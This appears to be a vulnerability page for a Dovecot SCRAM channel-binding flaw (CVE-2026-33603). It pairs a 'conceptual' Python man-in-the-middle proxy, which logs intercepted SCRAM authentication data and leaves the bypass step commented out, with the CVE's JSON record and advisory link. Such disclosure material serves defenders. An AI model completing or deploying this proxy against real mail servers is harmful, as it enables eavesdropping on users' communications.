CVE-2026-33603

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-33603 Demonstrates the logic of intercepting and modifying SCRAM auth to fake channel binding. This requires a Man-in-the-Middle position. """ import socket import threading def forward_data(source, destination, modify=False): """Forward data between sockets, optionally modifying SCRAM auth.""" while True: try: data = source.recv(4096) if not data: break if modify and b'AUTHENTICATE' in data and b'SCRAM' in data: print("[*] Intercepting SCRAM Authentication...") # In a real exploit, the attacker would craft a specific base64 payload # here to bypass the channel binding check (e.g., faking 'tls-exporter'). # For demonstration, we just print the interception. print(f"[+] Original Payload: {data}") # modified_data = inject_fake_binding(data) # destination.send(modified_data) destination.send(data) except Exception as e: print(f"Error: {e}") break source.close() destination.close() def start_mitm_proxy(listen_port, target_host, target_port): """Start a simple TCP proxy to simulate the MITM position.""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', listen_port)) server.listen(5) print(f"[*] Listening on {listen_port}, forwarding to {target_host}:{target_port}") while True: client_socket, addr = server.accept() print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_socket.connect((target_host, target_port)) # Client -> Target (Modify SCRAM data here) t1 = threading.Thread(target=forward_data, args=(client_socket, target_socket, True)) # Target -> Client t2 = threading.Thread(target=forward_data, args=(target_socket, client_socket, False)) t1.start() t2.start() if __name__ == "__main__": # Usage: python3 poc.py # This script acts as a proxy. Configure the client to connect to this proxy. TARGET_HOST = 'dovecot-server' TARGET_PORT = 143 # IMAP port or 993 for IMAPS LISTEN_PORT = 8143 start_mitm_proxy(LISTEN_PORT, TARGET_HOST, TARGET_PORT)

{"cve": {"id": "CVE-2026-33603", "sourceIdentifier": "[email protected]", "published": "2026-05-12T14:17:01.600", "lastModified": "2026-05-12T15:08:22.857", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Attacker can use a specially crafted base64 exchange between Dovecot and Client to fake SCRAM TLS channel binding. This requires that the attacker is able to position itself between Dovecot and the client connection. If successful, the attacker can eavesdrop communications between Dovecot and client as MITM proxy. Install fixed version. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-99"}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0002.json", "source": "[email protected]"}]}}